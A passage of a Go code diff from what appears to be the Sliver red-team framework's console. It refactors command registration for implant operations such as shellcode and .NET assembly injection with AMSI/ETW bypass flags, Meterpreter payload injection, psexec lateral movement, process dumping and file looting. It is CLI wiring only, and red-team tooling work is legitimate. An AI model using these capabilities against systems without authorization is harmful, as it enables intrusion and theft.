false, "don't print STDERR output") - f.StringP("stdout", "O", "", "remote path to redirect STDOUT to") - f.StringP("stderr", "E", "", "remote path to redirect STDERR to") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)") - f.BoolP("hidden", "H", false, "hide the window of the spawned process (Windows only)") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - executeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - - carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)")) - carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)")) - - executeAssemblyCmd := &cobra.Command{ - Use: consts.ExecuteAssemblyStr, - Short: "Loads and executes a .NET assembly in a child process (Windows Only)", - Long: help.GetHelpFor([]string{consts.ExecuteAssemblyStr}), - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.ExecuteAssemblyCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(executeAssemblyCmd) - Flags("", false, executeAssemblyCmd, func(f *pflag.FlagSet) { - f.StringP("process", "p", "notepad.exe", "hosting process to inject into") - f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)") - f.StringP("class", "c", "", "Optional class name (required for .NET DLL)") - f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.") - f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)") - f.BoolP("in-process", "i", false, "Run in the current sliver process") - f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)") - f.BoolP("save", "s", false, "save output to file") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.Uint32P("ppid", "P", 0, "parent process id (optional)") - f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") - f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)") - f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - executeAssemblyCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - - carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)")) - carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)")) - - executeShellcodeCmd := &cobra.Command{ - Use: consts.ExecuteShellcodeStr, - Short: "Executes the given shellcode in the sliver process", - Long: help.GetHelpFor([]string{consts.ExecuteShellcodeStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.ExecuteShellcodeCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(executeShellcodeCmd) - Flags("", false, executeShellcodeCmd, func(f *pflag.FlagSet) { - f.BoolP("rwx-pages", "r", false, "Use RWX permissions for memory pages") - f.Uint32P("pid", "p", 0, "Pid of process to inject into (0 means injection into ourselves)") - f.StringP("process", "n", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode") - f.BoolP("interactive", "i", false, "Inject into a new process and interact with it") - f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution") - f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)") - f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(executeShellcodeCmd, func(comp *carapace.ActionMap) { - (*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures") - }) - carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)")) - - sideloadCmd := &cobra.Command{ - Use: consts.SideloadStr, - Short: "Load and execute a shared object (shared library/DLL) in a remote process", - Long: help.GetHelpFor([]string{consts.SideloadStr}), - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.SideloadCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(sideloadCmd) - Flags("", false, sideloadCmd, func(f *pflag.FlagSet) { - f.StringP("entry-point", "e", "", "Entrypoint for the DLL (Windows only)") - f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") - f.BoolP("unicode", "w", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)") - f.BoolP("save", "s", false, "save output to file") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes") - f.Uint32P("ppid", "P", 0, "parent process id (optional)") - f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - sideloadCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - - carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)")) - carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)")) - - spawnDllCmd := &cobra.Command{ - Use: consts.SpawnDllStr, - Short: "Load and execute a Reflective DLL in a remote process", - Long: help.GetHelpFor([]string{consts.SpawnDllStr}), - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.SpawnDllCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(spawnDllCmd) - Flags("", false, spawnDllCmd, func(f *pflag.FlagSet) { - f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") - f.StringP("export", "e", "ReflectiveLoader", "Entrypoint of the Reflective DLL") - f.BoolP("save", "s", false, "save output to file") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes") - f.UintP("ppid", "P", 0, "parent process id (optional)") - f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - spawnDllCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - - carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)")) - carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)")) - - migrateCmd := &cobra.Command{ - Use: consts.MigrateStr, - Short: "Migrate into a remote process", - Long: help.GetHelpFor([]string{consts.MigrateStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.MigrateCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(migrateCmd) - Flags("", false, migrateCmd, func(f *pflag.FlagSet) { - f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder") - f.Uint32P("pid", "p", 0, "process id to migrate into") - f.StringP("process-name", "n", "", "name of the process to migrate into") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into")) - - msfCmd := &cobra.Command{ - Use: consts.MsfStr, - Short: "Execute an MSF payload in the current process", - Long: help.GetHelpFor([]string{consts.MsfStr}), - Run: func(cmd *cobra.Command, args []string) { - exec.MsfCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(msfCmd) - Flags("", false, msfCmd, func(f *pflag.FlagSet) { - f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload") - f.StringP("lhost", "L", "", "listen host") - f.IntP("lport", "l", 4444, "listen port") - f.StringP("encoder", "e", "", "msf encoder") - f.IntP("iterations", "i", 1, "iterations of the encoder") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - msfInjectCmd := &cobra.Command{ - Use: consts.MsfInjectStr, - Short: "Inject an MSF payload into a process", - Long: help.GetHelpFor([]string{consts.MsfInjectStr}), - Run: func(cmd *cobra.Command, args []string) { - exec.MsfInjectCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(msfInjectCmd) - Flags("", false, msfInjectCmd, func(f *pflag.FlagSet) { - f.IntP("pid", "p", -1, "pid to inject into") - f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload") - f.StringP("lhost", "L", "", "listen host") - f.IntP("lport", "l", 4444, "listen port") - f.StringP("encoder", "e", "", "msf encoder") - f.IntP("iterations", "i", 1, "iterations of the encoder") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - psExecCmd := &cobra.Command{ - Use: consts.PsExecStr, - Short: "Start a sliver service on a remote target", - Long: help.GetHelpFor([]string{consts.PsExecStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.PsExecCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(psExecCmd) - Flags("", false, psExecCmd, func(f *pflag.FlagSet) { - f.StringP("service-name", "s", "Sliver", "name that will be used to register the service") - f.StringP("service-description", "d", "Sliver implant", "description of the service") - f.StringP("profile", "p", "", "profile to use for service binary") - f.StringP("binpath", "b", "c:\\windows\\temp", "directory to which the executable will be uploaded") - f.StringP("custom-exe", "c", "", "custom service executable to use instead of generating a new Sliver") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(psExecCmd, func(comp *carapace.ActionMap) { - (*comp)["custom-exe"] = carapace.ActionFiles() - }) - carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)")) - - sshCmd := &cobra.Command{ - Use: consts.SSHStr, - Short: "Run a SSH command on a remote host", - Long: help.GetHelpFor([]string{consts.SSHStr}), - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.SSHCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(sshCmd) - Flags("", false, sshCmd, func(f *pflag.FlagSet) { - f.UintP("port", "p", 22, "SSH port") - f.StringP("private-key", "i", "", "path to private key file") - f.StringP("password", "P", "", "SSH user password") - f.StringP("login", "l", "", "username to use to connect") - f.BoolP("skip-loot", "s", false, "skip the prompt to use loot credentials") - f.StringP("kerberos-config", "c", "/etc/krb5.conf", "path to remote Kerberos config file") - f.StringP("kerberos-keytab", "k", "", "path to Kerberos keytab file") - f.StringP("kerberos-realm", "r", "", "Kerberos realm") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - sshCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - - FlagComps(sshCmd, func(comp *carapace.ActionMap) { - (*comp)["private-key"] = carapace.ActionFiles() - (*comp)["kerberos-keytab"] = carapace.ActionFiles() - }) - - carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)")) - carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments")) - - // [ Extensions ] ----------------------------------------------------------------- - extensionCmd := &cobra.Command{ - Use: consts.ExtensionsStr, - Short: "Manage extensions", - Long: help.GetHelpFor([]string{consts.ExtensionsStr}), - GroupID: consts.ExtensionHelpGroup, - Run: func(cmd *cobra.Command, _ []string) { - extensions.ExtensionsCmd(cmd, con) - }, - } - sliver.AddCommand(extensionCmd) - - extensionCmd.AddCommand(&cobra.Command{ - Use: consts.ListStr, - Short: "List extensions loaded in the current session or beacon", - Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}), - Run: func(cmd *cobra.Command, args []string) { - extensions.ExtensionsListCmd(cmd, con, args) - }, - }) - - extensionLoadCmd := &cobra.Command{ - Use: consts.LoadStr, - Short: "Temporarily load an extension from a local directory", - Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}), - Run: func(cmd *cobra.Command, args []string) { - extensions.ExtensionLoadCmd(cmd, con, args) - }, - } - extensionCmd.AddCommand(extensionLoadCmd) - carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory")) - - extensionInstallCmd := &cobra.Command{ - Use: consts.InstallStr, - Short: "Install an extension from a local directory or .tar.gz file", - Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - extensions.ExtensionsInstallCmd(cmd, con, args) - }, - } - extensionCmd.AddCommand(extensionInstallCmd) - carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory")) - - extensionRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove an installed extension", - Args: cobra.ExactArgs(1), - Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - extensions.ExtensionsRemoveCmd(cmd, con, args) - }, - } - extensionCmd.AddCommand(extensionRmCmd) - carapace.Gen(extensionRmCmd).PositionalCompletion(extensions.ExtensionsCommandNameCompleter(con).Usage("the command name of the extension to remove")) - - // [ Filesystem ] --------------------------------------------- + // Utility function to be used for binding new commands to + // the sliver menu: call the function with the name of the + // group under which this/these commands should be added, + // and the group will be automatically created if needed. + bind := makeBind(sliver, con) - mvCmd := &cobra.Command{ - Use: consts.MvStr, - Short: "Move or rename a file", - Long: help.GetHelpFor([]string{consts.MvStr}), - Args: cobra.ExactArgs(2), - Run: func(cmd *cobra.Command, args []string) { - filesystem.MvCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(mvCmd) - Flags("", false, mvCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(mvCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to source file (required)"), - carapace.ActionValues().Usage("path to dest file (required)"), + // [ Core ] + bind(consts.SliverCoreHelpGroup, + reconfig.Commands, + sessions.SliverCommands, + kill.Commands, + tasks.Commands, + pivots.Commands, + history.Commands, + extensions.Commands, ) - cpCmd := &cobra.Command{ - Use: consts.CpStr, - Short: "Copy a file", - Long: help.GetHelpFor([]string{consts.CpStr}), - Args: cobra.ExactArgs(2), - Run: func(cmd *cobra.Command, args []string) { - filesystem.CpCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(cpCmd) - Flags("", false, cpCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(cpCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to source file (required)"), - carapace.ActionValues().Usage("path to dest file (required)"), + // [ Info ] + bind(consts.InfoHelpGroup, + info.Commands, + info.SliverCommands, + screenshot.Commands, + environment.Commands, + registry.Commands, ) - lsCmd := &cobra.Command{ - Use: consts.LsStr, - Short: "List current directory", - Long: help.GetHelpFor([]string{consts.LsStr}), - Args: cobra.RangeArgs(0, 1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.LsCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(lsCmd) - Flags("", false, lsCmd, func(f *pflag.FlagSet) { - f.BoolP("reverse", "r", false, "reverse sort order") - f.BoolP("modified", "m", false, "sort by modified time") - f.BoolP("size", "s", false, "sort by size") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(lsCmd).PositionalCompletion(carapace.ActionValues().Usage("path to enumerate (optional)")) - - rmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a file or directory", - Long: help.GetHelpFor([]string{consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.RmCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(rmCmd) - Flags("", false, rmCmd, func(f *pflag.FlagSet) { - f.BoolP("recursive", "r", false, "recursively remove files") - f.BoolP("force", "F", false, "ignore safety and forcefully remove files") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(rmCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to remove")) - - mkdirCmd := &cobra.Command{ - Use: consts.MkdirStr, - Short: "Make a directory", - Long: help.GetHelpFor([]string{consts.MkdirStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.MkdirCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(mkdirCmd) - Flags("", false, mkdirCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(mkdirCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the directory to create")) - - cdCmd := &cobra.Command{ - Use: consts.CdStr, - Short: "Change directory", - Long: help.GetHelpFor([]string{consts.CdStr}), - Args: cobra.RangeArgs(0, 1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.CdCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(cdCmd) - Flags("", false, cdCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(cdCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the directory")) - - pwdCmd := &cobra.Command{ - Use: consts.PwdStr, - Short: "Print working directory", - Long: help.GetHelpFor([]string{consts.PwdStr}), - Run: func(cmd *cobra.Command, args []string) { - filesystem.PwdCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(pwdCmd) - Flags("", false, pwdCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - catCmd := &cobra.Command{ - Use: consts.CatStr, - Short: "Dump file to stdout", - Long: help.GetHelpFor([]string{consts.CatStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.CatCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(catCmd) - Flags("", false, catCmd, func(f *pflag.FlagSet) { - f.BoolP("colorize-output", "c", false, "colorize output") - f.BoolP("hex", "x", false, "display as a hex dump") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") - f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(catCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print")) - - downloadCmd := &cobra.Command{ - Use: consts.DownloadStr, - Short: "Download a file", - Long: help.GetHelpFor([]string{consts.DownloadStr}), - Args: cobra.RangeArgs(1, 2), - Run: func(cmd *cobra.Command, args []string) { - filesystem.DownloadCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(downloadCmd) - Flags("", false, downloadCmd, func(f *pflag.FlagSet) { - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting") - f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting") - f.StringP("name", "n", "", "name to assign the download if looting") - f.BoolP("recurse", "r", false, "recursively download all files in a directory") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(downloadCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to the file or directory to download"), - carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"), - ) - - grepCmd := &cobra.Command{ - Use: consts.GrepStr, - Short: "Search for strings that match a regex within a file or directory", - Long: help.GetHelpFor([]string{consts.GrepStr}), - Args: cobra.ExactArgs(2), - Run: func(cmd *cobra.Command, args []string) { - filesystem.GrepCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(grepCmd) - Flags("", false, grepCmd, func(f *pflag.FlagSet) { - f.BoolP("colorize-output", "c", false, "colorize output") - f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - f.BoolP("recursive", "r", false, "search recursively") - f.BoolP("insensitive", "i", false, "case-insensitive search") - f.Int32P("after", "A", 0, "number of lines to print after a match (ignored if the file is binary)") - f.Int32P("before", "B", 0, "number of lines to print before a match (ignored if the file is binary)") - f.Int32P("context", "C", 0, "number of lines to print before and after a match (ignored if the file is binary), equivalent to -A x -B x") - f.BoolP("exact", "e", false, "match the search term exactly") - }) - carapace.Gen(grepCmd).PositionalCompletion( - carapace.ActionValues().Usage("regex to search the file for"), - carapace.ActionValues().Usage("remote path / file to search in"), - ) - - headCmd := &cobra.Command{ - Use: consts.HeadStr, - Short: "Grab the first number of bytes or lines from a file", - Long: help.GetHelpFor([]string{consts.HeadStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - /* - The last argument tells head if the user requested the head or tail of the file - True means head, false means tail - */ - filesystem.HeadCmd(cmd, con, args, true) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(headCmd) - Flags("", false, headCmd, func(f *pflag.FlagSet) { - f.BoolP("colorize-output", "c", false, "colorize output") - f.BoolP("hex", "x", false, "display as a hex dump") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") - f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - f.Int64P("bytes", "b", 0, "Grab the first number of bytes from the file") - f.Int64P("lines", "l", 0, "Grab the first number of lines from the file") - }) - carapace.Gen(headCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print")) - - tailCmd := &cobra.Command{ - Use: consts.TailStr, - Short: "Grab the last number of bytes or lines from a file", - Long: help.GetHelpFor([]string{consts.TailStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - /* - The last argument tells head if the user requested the head or tail of the file - True means head, false means tail - */ - filesystem.HeadCmd(cmd, con, args, false) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(tailCmd) - Flags("", false, tailCmd, func(f *pflag.FlagSet) { - f.BoolP("colorize-output", "c", false, "colorize output") - f.BoolP("hex", "x", false, "display as a hex dump") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") - f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - f.Int64P("bytes", "b", 0, "Grab the last number of bytes from the file") - f.Int64P("lines", "l", 0, "Grab the last number of lines from the file") - }) - carapace.Gen(tailCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print")) - - uploadCmd := &cobra.Command{ - Use: consts.UploadStr, - Short: "Upload a file or directory", - Long: help.GetHelpFor([]string{consts.UploadStr}), - Args: cobra.RangeArgs(1, 2), - Run: func(cmd *cobra.Command, args []string) { - filesystem.UploadCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(uploadCmd) - Flags("", false, uploadCmd, func(f *pflag.FlagSet) { - f.BoolP("ioc", "i", false, "track uploaded file as an ioc") - f.BoolP("recurse", "r", false, "recursively upload a directory") - f.BoolP("overwrite", "o", false, "overwrite files that exist in the destination") - f.BoolP("preserve", "p", false, "preserve directory structure when uploading a directory") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(uploadCmd).PositionalCompletion( - carapace.ActionFiles().Usage("local path to the file to upload"), - carapace.ActionValues().Usage("path to the file or directory to upload to (optional)"), - ) - - memfilesCmd := &cobra.Command{ - Use: consts.MemfilesStr, - Short: "List current memfiles", - Long: help.GetHelpFor([]string{consts.MemfilesStr}), - GroupID: consts.FilesystemHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - filesystem.MemfilesListCmd(cmd, con, args) - }, - } - Flags("", true, memfilesCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - sliver.AddCommand(memfilesCmd) - - memfilesAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a memfile", - Long: help.GetHelpFor([]string{consts.MemfilesStr, consts.AddStr}), - Run: func(cmd *cobra.Command, args []string) { - filesystem.MemfilesAddCmd(cmd, con, args) - }, - } - memfilesCmd.AddCommand(memfilesAddCmd) - - memfilesRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a memfile", - Long: help.GetHelpFor([]string{consts.MemfilesStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.MemfilesRmCmd(cmd, con, args) - }, - } - memfilesCmd.AddCommand(memfilesRmCmd) - - carapace.Gen(memfilesRmCmd).PositionalCompletion(carapace.ActionValues().Usage("memfile file descriptor")) - - // [ Network ] --------------------------------------------- - - ifconfigCmd := &cobra.Command{ - Use: consts.IfconfigStr, - Short: "View network interface configurations", - Long: help.GetHelpFor([]string{consts.IfconfigStr}), - Run: func(cmd *cobra.Command, args []string) { - network.IfconfigCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - sliver.AddCommand(ifconfigCmd) - Flags("", false, ifconfigCmd, func(f *pflag.FlagSet) { - f.BoolP("all", "A", false, "show all network adapters (default only shows IPv4)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - netstatCmd := &cobra.Command{ - Use: consts.NetstatStr, - Short: "Print network connection information", - Long: help.GetHelpFor([]string{consts.NetstatStr}), - Run: func(cmd *cobra.Command, args []string) { - network.NetstatCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - sliver.AddCommand(netstatCmd) - Flags("", false, netstatCmd, func(f *pflag.FlagSet) { - f.BoolP("tcp", "T", true, "display information about TCP sockets") - f.BoolP("udp", "u", false, "display information about UDP sockets") - f.BoolP("ip4", "4", true, "display information about IPv4 sockets") - f.BoolP("ip6", "6", false, "display information about IPv6 sockets") - f.BoolP("listen", "l", false, "display information about listening sockets") - f.BoolP("numeric", "n", false, "display numeric addresses (disable hostname resolution)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Processes ] --------------------------------------------- - - psCmd := &cobra.Command{ - Use: consts.PsStr, - Short: "List remote processes", - Long: help.GetHelpFor([]string{consts.PsStr}), - Run: func(cmd *cobra.Command, args []string) { - processes.PsCmd(cmd, con, args) - }, - GroupID: consts.ProcessHelpGroup, - } - sliver.AddCommand(psCmd) - Flags("", false, psCmd, func(f *pflag.FlagSet) { - f.IntP("pid", "p", -1, "filter based on pid") - f.StringP("exe", "e", "", "filter based on executable name") - f.StringP("owner", "o", "", "filter based on owner") - f.BoolP("print-cmdline", "c", false, "print command line arguments") - f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)") - f.IntP("skip-pages", "S", 0, "skip the first n page(s)") - f.BoolP("tree", "T", false, "print process tree") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - procdumpCmd := &cobra.Command{ - Use: consts.ProcdumpStr, - Short: "Dump process memory", - Long: help.GetHelpFor([]string{consts.ProcdumpStr}), - Run: func(cmd *cobra.Command, args []string) { - processes.ProcdumpCmd(cmd, con, args) - }, - GroupID: consts.ProcessHelpGroup, - } - sliver.AddCommand(procdumpCmd) - Flags("", false, procdumpCmd, func(f *pflag.FlagSet) { - f.IntP("pid", "p", -1, "target pid") - f.StringP("name", "n", "", "target process name") - f.StringP("save", "s", "", "save to file (will overwrite if exists)") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("loot-name", "N", "", "name to assign when adding the memory dump to the loot store (optional)") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - terminateCmd := &cobra.Command{ - Use: consts.TerminateStr, - Short: "Terminate a process on the remote system", - Long: help.GetHelpFor([]string{consts.TerminateStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - processes.TerminateCmd(cmd, con, args) - }, - GroupID: consts.ProcessHelpGroup, - } - sliver.AddCommand(terminateCmd) - Flags("", false, terminateCmd, func(f *pflag.FlagSet) { - f.BoolP("force", "F", false, "disregard safety and kill the PID") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(terminateCmd).PositionalCompletion(carapace.ActionValues().Usage("process ID")) - - // [ Privileges ] --------------------------------------------- - - runAsCmd := &cobra.Command{ - Use: consts.RunAsStr, - Short: "Run a new process in the context of the designated user (Windows Only)", - Long: help.GetHelpFor([]string{consts.RunAsStr}), - Run: func(cmd *cobra.Command, args []string) { - privilege.RunAsCmd(cmd, con, args) - }, - GroupID: 